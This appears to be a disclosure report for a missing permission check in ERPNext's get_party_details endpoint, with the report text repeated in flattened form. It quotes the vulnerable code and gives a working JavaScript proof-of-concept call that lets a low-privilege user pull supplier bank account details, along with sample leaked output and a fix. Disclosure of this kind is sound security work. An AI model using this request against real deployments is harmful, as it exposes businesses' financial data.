Security Vulnerability Report
Severity: High
Reporter: pratheep-bit
Date: 2026-06-18
File: erpnext/accounts/doctype/payment_entry/payment_entry.py — Lines 2443–2466
Summary
The get_party_details whitelisted endpoint has no frappe.has_permission() check, allowing any authenticated user to retrieve party names, accounting details, and bank account names for any Customer or Supplier.
Vulnerable Code
@frappe.whitelist()
def get_party_details(company: str, party_type: str, party: str, date: str, cost_center: str | None = None):
bank_account = ""
party_bank_account = ""
if not frappe.db.exists(party_type, party):
frappe.throw(_("{0} {1} does not exist").format(_(party_type), party))
party_account = get_party_account(party_type, party, company)
account_currency = get_account_currency(party_account)
_party_name = "title" if party_type == "Shareholder" else party_type.lower() + "_name"
party_name = frappe.db.get_value(party_type, party, _party_name)
if party_type in ["Customer", "Supplier"]:
party_bank_account = get_party_bank_account(party_type, party)
bank_account = get_default_company_bank_account(company, party_type, party)
return {
"party_account": party_account,
"party_name": party_name,
"party_account_currency": account_currency,
"party_bank_account": party_bank_account,
"bank_account": bank_account,
}
Root Cause
Compare with the adjacent function get_account_details (line 2469) which correctly calls frappe.has_permission("Payment Entry", throw=True). This function skips that check entirely. The unvalidated party_type parameter also acts as a cross-doctype existence oracle via frappe.db.exists(party_type, party).
PoC
// Run as a user with only "Employee Self Service" role:
frappe.call({
method: "erpnext.accounts.doctype.payment_entry.payment_entry.get_party_details",
args: {
company: "Your Company Name",
party_type: "Supplier",
party: "SUP-00001",
date: frappe.datetime.nowdate()
},
callback: function(r) { console.log(JSON.stringify(r.message, null, 2)); }
});
Response reveals sensitive data:
{
"party_account": "Creditors - MC",
"party_name": "Acme Supplies Ltd",
"party_account_currency": "USD",
"party_bank_account": "Acme Supplies - HSBC 4521",
"bank_account": "Company Main Account - Chase"
}
Impact
- Bank account data exposure for every Customer and Supplier
- Account enumeration — party accounting details exposed without authorization
- Cross-doctype existence oracle via unvalidated
party_type
- Insider threat — minimal-access employees can harvest financial details
Recommended Fix
@frappe.whitelist()
def get_party_details(company, party_type, party, date, cost_center=None):
if party_type not in ("Customer", "Supplier", "Employee", "Shareholder"):
frappe.throw(_("Invalid party type"), frappe.PermissionError)
frappe.has_permission("Payment Entry", throw=True)
frappe.has_permission(party_type, ptype="read", doc=party, throw=True)
# ... rest of function unchanged
Discovered during ERPNext security audit
Security Vulnerability Report
Severity: High
Reporter: pratheep-bit
Date: 2026-06-18
File:
erpnext/accounts/doctype/payment_entry/payment_entry.py— Lines 2443–2466Summary
The
get_party_detailswhitelisted endpoint has nofrappe.has_permission()check, allowing any authenticated user to retrieve party names, accounting details, and bank account names for any Customer or Supplier.Vulnerable Code
Root Cause
Compare with the adjacent function
get_account_details(line 2469) which correctly callsfrappe.has_permission("Payment Entry", throw=True). This function skips that check entirely. The unvalidatedparty_typeparameter also acts as a cross-doctype existence oracle viafrappe.db.exists(party_type, party).PoC
Response reveals sensitive data:
{ "party_account": "Creditors - MC", "party_name": "Acme Supplies Ltd", "party_account_currency": "USD", "party_bank_account": "Acme Supplies - HSBC 4521", "bank_account": "Company Main Account - Chase" }Impact
party_typeRecommended Fix
Discovered during ERPNext security audit